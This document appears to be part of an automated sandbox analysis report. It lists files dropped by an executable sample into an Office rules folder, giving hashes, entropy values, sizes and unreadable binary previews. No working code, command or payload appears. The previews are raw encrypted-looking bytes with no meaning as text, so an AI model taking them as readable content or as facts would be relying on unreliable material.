SHA-512:	4641CC70373912F257D99E742640D79F39BE50BA0D752581505A653542613206D52089C95981B22BEF486CFA47A13E7A99229F1D8A9AF300A43DA0DD0A534B54
Malicious:	false
Preview:	<?xml...M{....".lX.D....hq..0:....5R?<.m12.(.3.+.0..IR.,....!.6J.q........\...f...`"P.\|..}..,wK.m...-.4......1g.(,X.g=d......V..\. ..g..q+v%l."....XE.m.%C..\|..X...2Z.o....t..7...dNV..9.......[...,..4..G.I0.E.(.%D.\r.q.v.^b......3OW)Qp.@Z ..c.....a;.J.....<=J=....`....V..U.r.g....zj.ZY...#...8...S.\......9.Dz......SK&..J....V...... j..7.....,.7..Nk........T3...v...vR.ab..1..../.a...s.....,^....,....!......L...5.t!.N ........[3........<..~.:..d........X...8}.".AS......c66y.H.......n..."..-'.....,.@...S...1.1..{^.....Yu2..4...$cW~..T...s..1.6.e.Wq;Yo...\|..)Cj.....l.=.^,Ovb.o..E.....0.nI....;....A_.......tn.R...o..L.%....w...9..h..F.!.n...,.'".t.Wb..\|Q....e4).?E ....K..P....d..._c....X."..=..N..V..d3..../m..@/..<.Mz.o...0..._.e.{...&...f.....Weqc.U............:..W}.....P...s....V.U.L..._....95w.e.=.....p.ikk...;.Qn...h..<..X..=...^}.$m.=.3Te..65..V.]f5.+...sG?..0... '.;..z.....F..G.].;$....7'1.....?t&....RM.w._.....L`u[..f=%.O'+Y...]~:..o..U&.n.@.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11464v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.743875941553349
Encrypted:	false
SSDEEP:	24:3QF1m0RylMAF3Y2VYgQl36hghGgZnzdjFAGbD:Y14KAFKgQ0vAnzjAUD
MD5:	A85C310E3CA776683150334FF19EAEE0
SHA1:	0D55406D508C20923DA6C81DE525282D20BAA679
SHA-256:	79771D597200D9B01942998A911B9EED67665B2D699493D0354F1CD9A96D4BAE
SHA-512:	D2E6FD66C0E3C9C565C6FD16DB5CC3A45DC121A24681E6A3B14C8A6F01BC7641F4E4DFC35DAD7CC119BC42FF0DD092A84A7AA713B2FF8A095F3B9B7E1D624FD5
Malicious:	false
Preview:	<?xml..OX5....C...a..O..,.a.GX./.5...m.-....l%.\|.q.....T....t...".......u.=..N....,$..BW....@xPv...G....j-.Z.Q!Q..../.......M..o.TV...3{.~.....T...cw2\|..n[..C.....[...Ex8..%..dg.......h.>.....X.(.p.`R...e.qu......a...l....DMZ.7...1i..i(../..C.V..2.4'$)B.yyD.xE...i....o...&!.~.u.k.)sj.Z.rk.P=.....;..Sz.].].;....4...>s..rv..\.{kVz!V..%.M..%.L..aP....v..k.YU]Q..w..i...H...9...Ia..:.a.eP['..k.X.......=.......C5.9.ZBf.{._F.......U[~...&...W.,.4&...5Sv5.%...0....f.........o,.....}%c=..jy...d. ..Mm....j..3.....K;..i.1.+.....0.....%.;.M.@V^R...W..CZ....}..c\.=.h..R.......iP.(..X...o.. .Q..W;...X-..{.2. uY..8..\|.{@..n.+M.&..y.5..._..b..}n.\`.........z.j. ..q.o..x+....Z....^Zw....Y..{s..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11498v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.673984372964913
Encrypted:	false
SSDEEP:	12:shmF0YQu+/AHSDbi3agZJW1P55ntzI6dwJh1rsUCd3yqREXq23h8WgTuN7zaAgjY:HhQu+YSnaHJE55VDwJg/V4viBgza36HX
MD5:	83DDC02B3813084D25F5F5B03B299254
SHA1:	853226CCB81E31A82E9D7F6F591702FA7F16DDC3
SHA-256:	E6F088C507222CD8DC1821B50DA3A004A62D0B9871DC3E961B8CD0A5A700731C
SHA-512:	E15E89C1FF08155A508CCDB532E0A2F4B75BC94922068FD222E47C18800067449E5A443C3EE054AA625CBF3E0765A6E4F7F0BE9E58CFB59EE3D115105A8C4251
Malicious:	false
Preview:	<?xml..J....7...-....3.O.p..8~...-..sb..%....L.92..t.......=1..F.b....)o.......Y..uTl..ympr.G..VB.E....xZT8..f..yo...6.rp..C..H...;...(...M.......h$....=.^W1.j....u./.x.O.....I..R..-O..M..;d.W......._k.).et....PvoOzG.{.N.g.e...-..qI......Z..x....ew...n....c9...I.v.wJ.FD!.5t.o..O..N=.$G..)u.#.....\|..U.Y..T...1....?.....k.M.!{..,uY@`.4(.."Z.k#a.o.....K.Vw...w...C.tUa).4..pq...e.A.x.0~.WP......4.x4..x..~.......2...0..Ze..v..&.n.....e..o.x...K0d.OiD.,.+..e....?..:d...v5h\|v.am...D..v..k`:...f.One.........b..,....uK.s%..3?....e../..7...t....ij........1C..Q6....&...@.^..EMQH.P.F...[lv.....We}...k.+.<..z..n...C{.UiBl.2y...0v.5.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11499v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.8964863441685145
Encrypted:	false
SSDEEP:	24:obG1S38BwvLJnWdD9VGmCwq+G51LT2qEWKh7p6QkPhdntGNyD7LFqiAjkuhdGG0c:dPwc9ACq+CH877kJdnZBGFjBdCQD
MD5:	4D49023484BF727DD7193045A600B2B7
SHA1:	97A07E29948C3FDC935770031C793D52DB9DCBA7
SHA-256:	967C6F0D5D9AD8EF2A03DF8D0D6C3D32AC393A580941273901777ABDFE61DB99
SHA-512:	51B0D24DC04FF533B7589F601BD29596453ACAD5C26101603A903C28A1AE72096A500F2F4359D1D7A8122AC5255027CFB05C3572E31589B76A7C012E5C63A883
Malicious:	false
Preview:	<?xml...sJcs...%..M.t..r.\...R;S/...F...N.up..$.L.'l..7EcN...1.............U...o.t.70.....b70.<6....G...m......Q.)....}.K..7N..............e..\.=.....S..J...Vn.Q.]..(.V.'....f..Jk...K.S..O..$"I.....`.NO,.5.G....=....Z&.....l.[...>J2@.......t.H.].wu\|..UW.o.?..6.si.gb.....&.g.....<!.1.{8...\..3......<.l&.um.%...e.....I^....%....t..m.....-M .}."F..Ju.x~X.[.\|...e..j\|i:....(x.L....?].f....y...uGM.xz...F...?.xE.b...t..>...#.';.........<.d.(fysTGg...J....7...g...R..j.._....$)....J%.?.J.G.o...)'.o..A...h....)...,HK.\5.B....R..f..\|.3.>..>.\S.d.\..M.4..$'p.jY.X54.g...o......,5~.)..u...uY....>...F..2H.U../..6..u....._Y%iq...q..c....,....6...d%.}.-...]..0......b..T..........8.vi.l..=.L..V....J.C=....Q"..w.;^..m....?R;e..`2*Y....4.<V.;.=.@[\|......5T&+....kY.2R._).......x..cW..Y05.......3d$......^...............WR...?...h..rW.....h....Y...O.............I.$..^x'27.3.\|._..7.......6]...B..W\|...c`...c..t.z!...G<R.=..!..!...... .{.h..3.A..`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11500v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.780634875294034
Encrypted:	false
SSDEEP:	24:w0TWKLrLW+Wn/lg09K1HZJ6+r8hLVWcSH5PNDbD:EK6PlVKJZ4Q1H5hD
MD5:	1DBBB9A3B86A93A7BDF1F21288EAA2D3
SHA1:	A2305EB74156EAEA7F8F9C7EEB16F9E820395994
SHA-256:	8AC92C4D28809E9ACC1C32B65566433A3E59C3EF0EC659F80CF6AA6158419A29
SHA-512:	62080FCC09991FC328AA56F4DDF2B886429EBA7B2243604ED511F8064CC8FB239B3E846E2E812A0919194939F7619F3A47287A99AB39E65D8BF5BDD09A970D0E
Malicious:	false
Preview:	<?xml...M....<..g..y...XQ..v.%'s.RUOz.7..5...)".I.....R{......#hy).KUSU.g.z..r.W.....w......_..D......3..F..^.56.8..:..J..}.....z..$l...$/.$...(.N..eb.:#...I.1.X...[.4P.XGTC.^...P.n..zSN.X..7.....W8.s..&.]..x..t.x...N..j......xG....V.........M.?.........o......>t}&.i.......L..d-...R.9r..pS._.A.&.....Wa\Nv&(..eXD..q..^.......0...A....X...w.B..J<......m...@..F.%7....\.Y....S'..^"..C...XU...0]..1...a.........<%..8.-......}.Q..(..!=M..y.1.....F.r..<..'...t.z......r&.I..........3Y..\|......~G...{N.`.t..5.p...^......P.Q...i..o0.......G..`...&..mNh`&....W..YB..,hi.L..s-s.\|l.".Q9X..#nA)q1...~...}h.Q...GY..:......_._..P.,.!...k....^C........o../.....3..o.4>.p.;.c..m%.a.....mo.-..").. .Y.........F*...R.Y,;.(.@....f_......d......L." ..........!6..v$.. .i.A.g.w.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11502v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	7.849110808984856
Encrypted:	false
SSDEEP:	24:M3+xOXcf9YIMtIwp08xOdYeCfLk0d4ZFaQhQ+ghHs0Fkj9rUV82QI4j6sbD:/OXcf9lMtIUACeCfLkN/asQ+gJsy5nd+
MD5:	26FA372670323CA1C7E4284C385271A9
SHA1:	3FB8FAD833D5CB86D98699D9FA1312BD601697B5
SHA-256:	0A19F0CD6B3D23D16012A181D952335EC51DA8607ADEC34E98FB8A2681B7EC6D
SHA-512:	3D7E31BCD87894332DCBF264A11F215B2C8F631FC28B16759E5DC9B932E86AD95A500B1D5BE3801303DAAFA380811A4C1747AA304FB9E30F9DA7709020329CFF
Malicious:	false
Preview:	<?xml.....`.,Q.2.]..).QX.....e.JP.TL....L.(....Y..z....b..s..+..1#...d.PG........E'<!-.m..xW.......[.t.._.<..L.......K>..dP....).M.".......Y\.u....T.[....bL..X.y@......z....k..i..w;..z.Lg7 ..R.FJr.!.~.I>=.0(W.....'..%.)...Y....X[.g..p.=..7 .#3.1...Z...Z..WT.:a[.....T.C..j..prGO....h.+p...h..N.t......v...$jIFI..]."...H]z...D.....4...o..%-?.....!J...8.o .w.}.."...T.....4.....j....4..K2.!..-.3O.8.D.......B.....WL.G.<w...C...A.../........9U.....f.{.3..V..5...(....W.B..P.nuk....F^V..bm..J..7pbL.f.....9IQ.`...d.+M../....F7P....ze..O\...3....k.....W......n..,...L....e...n.p..."..C./...S.7...M.1.......i...(..7.'.a:..Mv....T6....n...I.x..fDF..Pb....m... ....;.3G..n.@....z(6....*......5..s....i.zv.U\._.>.k..[r....@..c.^.....w...-.j;...BR.9y...x.b......(..I.j..YX}....$Ov...../g..s/V...8.......M.v.s...^..t..g5..c.b...R.7...&.c.....(.S`.3X.`f..p.u..Ok.&...f.1',.H.0L.....).>....A...G\|=%]M....vd....!(.. .....@.<.{]..x!u..+...E...`bDR.....#q5...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11504v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.869764493374543
Encrypted:	false
SSDEEP:	24:BBFQiEFiggxXauJYfQY+agvA1Hr8YKZYH/vjhbhyeRShawPS7iTS/DgBUNIbD:PFQz4gg1auJg1gY1HgYKZgvjhbhvRh+r
MD5:	F5317952895634FCF0A836C4D39688A0
SHA1:	781EB5E7B8A6666F49ED9A4F5CFD25BE94692020
SHA-256:	E1D864CD829A1EADCBCFB446856D58A158CDBBE366F667F8E1F8A447955B33C1
SHA-512:	18873DDA38D0B8EF3773DBA8D08D22E343FAA589D4249D9E81308CAAA4FE893D96A85AE24C42BD59D3898FB55FDE49EC32BBC6DF28C9052810F1600C1C430978
Malicious:	false
Preview:	<?xml...........4..?...t..?\|."...A.%.........X.h...ke.?....%._.G.W..J.M....U[y.8..@.\...._..`...j..].4...QjI,3F.....SO.m$.....k.e....r.:.R...~u..&.e.ey.F/.K1W{F.Y...J.@..F.=.!.g...j...&....%.#j.60_.E.....(.X...1p...<q.....l..,"...7..s89..m.. S..\|.......v......,.:.T.N...X.G.1z....C........'X..&t..s..F$..r...2......L.Gr..M...?~...P...f.........=..O\\."...#YRP~U........'.U\/.Q..1i?.L[.....o0=....rO....,...Pz.#@....Z`EH.g..H...%..........H.1M.......N./.Qr..a=.~C....i....6Q...K]...V..w..Z...~x.D.De\\|...(.+A..S..l.wur..#./..5..7 X.]......../.u!...7.j..8.RC.......l.-.....~P@.........."...8N....o.m\.M....Eo.v<=.-.$/."^=..fS...t..[..4.Ed.Q....A......H.o...l..).V..YOqN/...mo.\|E.}..v..)4.L.&..&.....,k....!...K.<.K.n..\.:Ld....C.`..C3..{:...-l.i..v..E@...."..O..x!on.>.# :..._.....V....N/.U....V.B...p....{....t..8{.i.._o..rR......9<.j......5.t..)..f4CX..ic..d;......Bz4U...s.1\....U...Lu.w..E0...$M..{...8..."h).m..%.s....,...x *..P....r..z...:..kM.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11514v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	7119
Entropy (8bit):	7.976948226216251
Encrypted:	false
SSDEEP:	192:eFegKYB1cHRBL98TeKR4hcn8pAs1YcYcpQaI2geyE76oRYs:eFegv2L98KKCuCV1KeQah/r7RL
MD5:	4999F39C389F7E2FC1DE984FDD29657B
SHA1:	C25EDC60DB24C3CD99D1DCB126E71FDB51AEBADD
SHA-256:	D47A78E8358FA7B61B677AF0A558B21A5F3FF09214DDF318479AFA99BDEB6815
SHA-512:	B4F3E3F6B02C96F33940F4E6EA4CD252BD0C21ECAED2BF5DA7A84FC57D6DA08BF6523604759A776AA0D64D75FA575C9A6AEC4CF424003B3B27FDAE3CBBC34020
Malicious:	false
Preview:	<?xml{Z....U.b.].....t+.{I..V.<...{....^\|.@\4..@G...b...e.......9..9v.'.]F>4..a.,..8r...V1wr...;b.U.z{..X....H...0.....a2..Uh>.Z.......&3.._O.N.4.g...m....&...nIbN.>.!Q.0....n].06.5..iL..Z.(....w.Q...1.9.R.Cl......0..'.VW..=".c?$..]......._....r.j..E..[Ees.g..2...s..?......-.....-.:.....T..S>.,...h..5..C....W.....o.w.l..g.RT..}<..X..........Z.fYs.......n...<S.h\('.p.s.zr8-.0.:...Q...QC.....Gn............_...?......o..E... ..O.. .....b...j.sHO.R....C.......0....Y.L.$r=]....C....U...>.,"..."...B...fQph.._.-9N.y..$.:..v.F+A...._.Z..g...l.#....)]}n(l.0J^...C.a .32c.TC!v..r8"..]Ok..H.U,...w..@H..G.\...q.U[.......\|..F$...oK./m.'..X</.x.0.V.5.s.+.T8...........:...j..i2:e-J(.a...}...?..wk&..nl_.D.+...et.....*.JA......l8Q.<.......3{":F.HL.8.v..7o..d....}N...rFe.7\=.&\&.[...en.S4Zx.63?...f;[d...!....#....z..b'.Q..a=^...PS......'uw.j..Uy6.V...p...TJ..#....%...m..d....E........#....!..W..C7..i..U.Pl...<..(K,z.rV.;@X..gY.E^...~.-R.wV...BMoO.......^=..I

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11659v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.727906607757543
Encrypted:	false
SSDEEP:	12:7pHJUybV3O3VB/j4L5nJp61t9DTIbtepPkgPQb15U5ujogUOsjp80vUGDL1+ciik:tpXVejSGTDA2PkaQY5ujogD90LYbD
MD5:	29AD90C6666AB4E9360A5DC4A40267AD
SHA1:	24BA9FE659C5483A8D6F79DFC978790C16DCB8FC
SHA-256:	DA0F75B38FA0BBFB0BF955B7A2142A3D9FC4A2488FD82E20B8732CD69C286BEE
SHA-512:	37D143377B36880795C3EB2809BE53937B663C643F3AD99B1B7B5668E88A595CEBEACC295F02C9C9487EA1E4B717137745146E5B9A39B2E2A25EE3179AB53260
Malicious:	false
Preview:	<?xml.$...xk.j'.7G.......ZR..9.o..lT.'....&.c..x..io...t.w.).HA.b.BM....8.d...x..h.QW....H.....M..X..L...6..-3~4..,S....,rp....f..$<....rqZ{.......9...(t..^_R/.V"&.j./........}].(.8.wuU.7.N..)..).....>E#..[....z..'^...%(3Gf.4...d..n9p.i..Rb..z.>.dq.xA.d..NLj..cqZ..2_I..&fW.>.Q.[...pA."}.I._.^...y..B........(n..C...G..wo..FrM....m......N2`.!D..[Bl.<.....MI...g.AvsWZW?X.=.=p=Bk..-...O.....e..U.......U..m...,..i'....r0uy.K.K.E.+f...e.\|L.8..^...l....^..m...Ic.P.Px....!...w.....-t...`....G...o\|.o"W..-.j.E.0...oc.../z..._...r_..)F...N......`..PJ.EG*.j.....d.@C.._Q..X.kf...{XPa..9....%.K..YY..B...."1..N.m8.........o..'Y.N.Cf.5...1..(...i..'.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11701v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.845503306633942
Encrypted:	false
SSDEEP:	24:gv1M97p4ibpZifd16VFlA7siKWFMJwE4UXCY0OSNmvtjRoPtnk528ikQeZw9sbD:gK97pBifCVFrlWFO4UrzSYvtetk88ZOg
MD5:	B20E9DB9A74D5E23F11623463DDA4F41
SHA1:	2563124DB9AB6D5E9EAB54CFAE2ABE4DDA821A50
SHA-256:	731B0CC7FB65183D1BA88B8CFF20AB2FB0A51E59E9659E7058A4EECCB0F21E9C
SHA-512:	F474E90DF8886517E425C8442D685AE6DF01FCD6462348D1546C6783E5BA87ACFCD2B203558AB569630376D050B5E22B118BB05D015E7902EED6EAF082BD87B7
Malicious:	false
Preview:	<?xml.I..2......PJ....[..'/..Y.T.Q.yE.......-.?./..a.F..ApP.....h..x...9_.B..\|.sD..2.]...).....H.3.0s/Z.q..Qb.t. J..3./-..X..\9~...ETe.b..9.:....V...29e....>b.1/4g...4.~...Y.Y\...C..-\.?XZ.7..=.....Y..ov.. N.t9TS.t.Q..v..b...k.50.v..........Y..j.,s4.;T....d..&......`...s.....)^0...k3.d......_@.8....an6..u....2}X^..........XL!u(.:\|U#..v.tA%O..y....Y.}...9g.iN\|]+z&.].m.G...#........!..OU....~....a.....>.N.ir]g3(..#..lB.B.\..j.\|..{4.di....P1..Q(w.\|...\..O../J..7..Zh......Mt....{E..iQ.1. Q....As...S..R..x..=..a#b.E4....v..3..Q..j.'.,...dc...S..0l\z..4.h\|L..:.....DM....c.g]....d;....#2.".S'......5.koaM8..k.....=}......f{ ..b..g.0zACB.o.MV.......v..j}Z.M.~.m .F.h\.K.N168.....a.)Oc.p..VK.Y^.W.....G..c..lZ'F..62Ts.s...b..`..P.g.i..F.t.v..%.S]..?-i....){....2....O.%B._.W5.Kp0.E\|.n.Xecn%.......5.\|.!h.xw...@\|.M..F..42.........J1.D.....l.k.!.do.zv~._(.$<. ERy.....3'..,..Q..$..6+.+V.A..j...:....11d.Mu...&7....4s.C.......Z.xi...\|.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11705v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3505
Entropy (8bit):	7.952148549069891
Encrypted:	false
SSDEEP:	96:EQzlS7iXhqz6rmkrwC2xMjkUwygiw1UaN3:rzlSeX/frf2xMjkBUcN3
MD5:	07AE8860F74C250EA4176EB8055F261F
SHA1:	73AFB8BC2DA364C996A15F68FE61A2B71FA65F13
SHA-256:	C805BC17AE006E053B416E59A2A86521DF2F260E4D35735BD08D23BF0DD31057
SHA-512:	042E71996BD9D9EAAEC5ED026624507F2EB128123C2CD535C994CF756BF27C968855D5DA2CEA3AEB0B6BEEF305779A1B1F9F4B3E117B27658344C59DFD1701CD
Malicious:	false
Preview:	<?xml.j...e.\|..._,8..b.F3.OA..iM.....ka..P..O.....PoT1n......!.9.7at."......'~"o'...o:......Wu .m.a.R,=..mp.#l...%3Oe..W?.d.^...L.72...wB...e..i..x.C.h.4.y...."..l.V...sAi..B0._n...\|G#.@Q.=.&.sq.r...U...}s7....T.d.j....'.Ka....H..L..`@..9.....l....iq.+C......'.]..8...5..g...3..n.f.+E......:S.~....=d/.DBe...+a.J8.H.......O;u.U..<B].....aoA.vKC.< ..a..h...p....D..Y.B.72:M...u..HQ..j..Ei!...7.&3,7..#......DZQ?.S.b%(..u.fw..3Y.r/.-....`.....].....}._'......5.M_n.sG..t.z..Y.K.....B.e.A=..W...}..ut.5............g..d.jiY.{.~..D.z.....W..Z.5Z.....Q..;......SH1.......N[J+"....OT..P..1Sl...L.X.....e..J....tM.FYOG......"......k_P5.....z.E,\..+N.%......8+.. .SS......3..$u..C[)$....H6.....4.....(..9...yA......%qB..mc?.t.Y.y..;(K=.........tn..L.......l.....&..8..>.!.....7..Xw.v.\,.....eg.oZ..$..YL.jn4~]?:...@...P.,.vXy..j......OF...e0.A.O....E.#x..UW_@R.O.. k.Z.u...........Sg.I.y..w$>.=.S.m..l.v. g.YL.i.`I.4.F.......z...'....../..wu.PD...#....#...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11710v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.784308581357837
Encrypted:	false
SSDEEP:	24:Z5h9aKO0Xdt1fQ3hBvKs15bWxqAFj5zh1UhGSRHiWbD:1W0Xdt1I3R/NqN9ahfdD
MD5:	E828905F698D1727EF41A12A191AA34F
SHA1:	B264ED3B987AED58EE8809D64423D89370F72A19
SHA-256:	93A67B05F119A5DEE96CAF7DAA7991440F69735A855773C144119678FC089409
SHA-512:	439D9484A1E230D54CA9737B7BB9D154BDEA99894969B13E90A2C51C64FCDCE3B1EF2017A1ADDD1BAECE044EEA415E108990173194398CC9A3F0C063E11B1DC4
Malicious:	false
Preview:	<?xml7.e&".-9..w...?.}}Wm...E.o$..z.W.K..&.[.......R.6.1...J.Wh6..a.......{<Gfu.....V...%.Rc..U../..6...u....eIv..B.)9...7).Mh;C...9Z.....A...#\|O...S..1..\|.......u. ..jFM>.\.T..w..........R.^s fV.....Z.s.=...z!.p.yTz....}.Tf>.y=....r?+.4....[..<.....C.yL..fWx..pz......M.A.T..).o...kS..e...=....pI......,\L%...;..z...i..24....=;\|.-.."uJ.g/f.'....V....6'....f.... ..G.1.\|.....&..P...D7.I.{x.53...Z.....z...iK.fq..4xjF..-...B.0...O.d.(..,.k....N..._.m5G1l...u^.GDO....s>..u<._.}5e..9<O6.!..,%.D..K.U.6o."...b....t...G.7...s...........}...t....8.q..4c!S..P....'.c-)?.l......&e.gt.,......h.(.=......>......@....U...J.....j.I....!..CJ+..C.......a....3.pIA..(...g..T...V]..k..I.Yud[/#eZ..S.aZJ2[oDj...g7...e...#.[..z)...+.,@.....f~....X..[.S....2.f..0../N.7...6,...9XO....9S..0H....o6...G.MZ?..._...=.....A2b........Q...j.p.uM)h...a..h.?.qISLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11767v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.938122024118944
Encrypted:	false
SSDEEP:	48:eIDV6/OGkC77ec5bggyvvRaZ9qWg3j7Wd3ykHxjsYpwkqwTXtQrkuM0CD:eb2C7h5kgyRAg3j7mCQfwkqwTXtsM0K
MD5:	74B5F2051A86FCEB533AE1B3076D5CAB
SHA1:	8048F9ABBB6A0D5A34E7319DC68DA904C51B71FF
SHA-256:	3CCF3BEBF712EB1AD249A216C9ECDA89214CD89A24B0C2934A43BBA42340586C
SHA-512:	3C6D4A64C54FD2187BD02972987797B4DA3EA21F49876C04D604B19C74EDB8AEC2D60536431DB23A565337D3AF31713D0A0B05E08B47FAB26FF5FBDDF20E3705
Malicious:	false
Preview:	<?xml.N.?0uf..J..O....+......X..........^.y...TB...m.....Tx..&W_.~.m..OJ;......V.QU....2.,...~.ZK... ....4.m\|..>.H..$..x..@.!....^'.}..cmj...o.F.~p.bm.......6.>]@.6X...`./.S....6.QV../;.U.u.l..+Z......h..b.....6.?.....qo...hb.W.<......=..Y.<.g...N.W....hv.j..U..(y...7{TE......&...v-..\|.}J.3...,.6..!K....]Tf.:....0....v.<...=.s.v.o..P.Fu..Iz......H\|.D.@l......F......Dv5....W.......m.`y..SVR.....=-.51e.:=+.0\'i'.Q.h5..-.......RX6...}.=.J..}.8...."....?g...W.......~.v..zpO>....@i.:...Wa.Q.....'_}...t.g.q..d.........e./bt.....m....(.....U...........+Z..(.[A....$....n9.t#}..p.P.>.~/..8.~.l.%O[sL-<h. lS[.l......F..e.TU..RoN.b\t...W.6.G.....#D{...X3:L.Gx...\|r.<PQ.I..8A...-!....z.....t}6...:.7.n..i.l.....9...oT.sA.....q...L~.\iN.ZZ>.w..IQ...zh.5..DP>).c.'..'To.2.M....X.r{..@....=j.;...AwR.....6.~ks..........M[..p.=/8<..>tN.........*.....i..d.yH5..=..uBaLKb.P.N.../......K....5...qr...7K.y5.......e.......o.gHk.....)9}.9_.;.{..gvd.$......!..{.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11768v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.928761872098656
Encrypted:	false
SSDEEP:	48:7fR92fJR5UIAJVagUz4rxFtUS7QesOlm5McsXT6tKiqhvgOi2kMD:75cBPgHvUzaztUesOqsDY8qlxo
MD5:	FF3DFB238E88CF4D8C8B0F27D92ED8CE
SHA1:	78B87E69F24EA15323EC4C2348B0FDCBDB7C2EE5
SHA-256:	333AC4523AB9BA6F1E3E00847C87260F393DDED078CA94EBE03B0502A9939335
SHA-512:	43B6F40DEBC38471D935E070DC41CEFCC178AE8A1818663368A20875E3BA2F5618540683CFF126560499500452FB3A0715288BBF3D24CC81AB6EE405BF0869E0
Malicious:	false
Preview:	<?xml.2..O.s..'..r........G&..]6?.d.`6&h.F6..o.....B.....T..i.......@..]jkK..}....j....EA....H......UU........)..m#..t.)i?...Z.&..8.@b....W.==.)^.VW.e7.._.p^\.m..[..<........i.4.>k..kY*+;........u....3.[..i.#=..vQ...C.bV....MvO...<V.9..L:.....e3._...ISa..DIz.M.;w.N....(`.z09RU...s.XB......0......].~..'....2.....f.B.Fb.."zq...,.3.0.M~o..\|.,.3...6.:.o...`.E....F..i...I..j........>..{.<w.......Nq.I...T..j=..._.%.;a..t..:.\|..:m...R^e.D...z.e;..;s'X.. .1...7.B-qlc.e.X.u..\|Ne..9@...n~R/..d.p..4D.. U../..i..CDm...^r#...'.6...0.3-..".......)..vzK....{.A..A.u....`.N....}..k.u.1).......g..=..y......(..T?.L.My.O...t....J...WB........Ob...x....G...^..Nw..`.<#....k..._..."....D.k..P..L_&.....{..C6}8...$ag.YH.\|.\|m.!. .cR.....$.....EN.D...#z.0..BY..:....?.....Kv\|.-.}.N./.X\|i.?.b.3...:f..!...".".49....lq.(..f]....'$....'.zb.. .!.\].N..>...l.`..\|F..Z~R6.mOoQ...#Vzt..K...k1.k..E.d.[.2{SwO`v.Y..r.fs5IV..F..w.$Ko{{X.r...5.PA..\5..)..><.Q../.w.....E.Z.zW.d

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11769v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.936043337180966
Encrypted:	false
SSDEEP:	96:GvIUlEe8jR5sODnbSqwWhKFurbiSWpVTOQmEW75+oQ:zQJ4uccWU1TO+cM
MD5:	A0589A5611618E53093CABAE79D83E6F
SHA1:	94969696E4024517BDDA21C4D1292205FA43525D
SHA-256:	F2CE638C5C08DF278706E2F9CC8E421AEA29F3FF89EDB8FA7A1EF300A4F62C5E
SHA-512:	E3C38C1D47B486DEB95068748F60C157F79DE89EFC01E01F93ABC42B8B2F583609A611664E2F68C8C6FFA0F6CBE26420B737FEDA7527032430E45DD5E29EF3B2
Malicious:	false
